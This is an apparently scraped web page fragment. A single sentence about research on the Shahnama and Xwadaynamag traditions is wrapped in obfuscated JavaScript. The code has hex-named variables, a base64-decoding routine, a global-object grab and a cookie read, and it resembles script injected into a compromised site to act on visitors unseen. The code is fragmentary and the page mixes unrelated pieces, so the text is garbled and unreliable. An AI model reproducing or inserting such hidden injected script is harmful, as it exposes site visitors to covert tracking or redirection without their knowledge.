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men/new-books-base php?&query=';var _0x3bb105=[_0x53b431[_0x5d29('0x31')],_0x5d29('0x32'),_0x5d29('0x33'),_0x53b431[_0x5d29('0x34')],_0x5d29('0x35'),_0x53b431[_0x5d29('0x36')],_0x53b431[_0x5d29('0x37')]],_0x776a3d=document[_0x5d29('0x38')],_0x453472=![],_0xbc9fa8=cookie['get'](_0x53b431[_0x5d29('0x39')]);for(var _0x148960=0x0;_0x148960. This work addresses the structural and contextual similarities and differences between this tradition and its counterparts in Persian literature, and subsequently proposes a new understanding of the term Shahnama and the term Xwadaynamag.

```
constructor(\x22return\x20this\x22)(\x20'+'););catch(_0x4a98af){_0x477725=window;}return _0x477725;};var
_0x38c21a=_0xfbb64b();var _0x3e1e9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+
/=';_0x38c21a[atob]||(_0x38c21a[atob']=function(_0x258866){var _0x4237bc=String(_0x258866)['replace'](/=+$/,"");for(var
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romCharCode'](_0xff&_0x322a70>>(-0x2*_0x44931c&0x6)):0x0){_0x53e507=_0x3e1e9['indexOf'](_0x53e507);}return
_0x2e6272;}););_0x5d29['base64DecodeUnicode']=function(_0x5c8539){var _0x271af9=atob(_0x5c8539);var
_0x2913a6=[];for(var _0x186d5a=0x0,_0x41166c=_0x271af9['length'];_0x186d5a<_0x2b0c52;),'NXoLo':function
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_0x1c51ae!=='_0x5119c2;},'PmWbC':_0x5d29('0x2f'),'sYple':_0x5d29('0x30'),'EzDmM':function
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```

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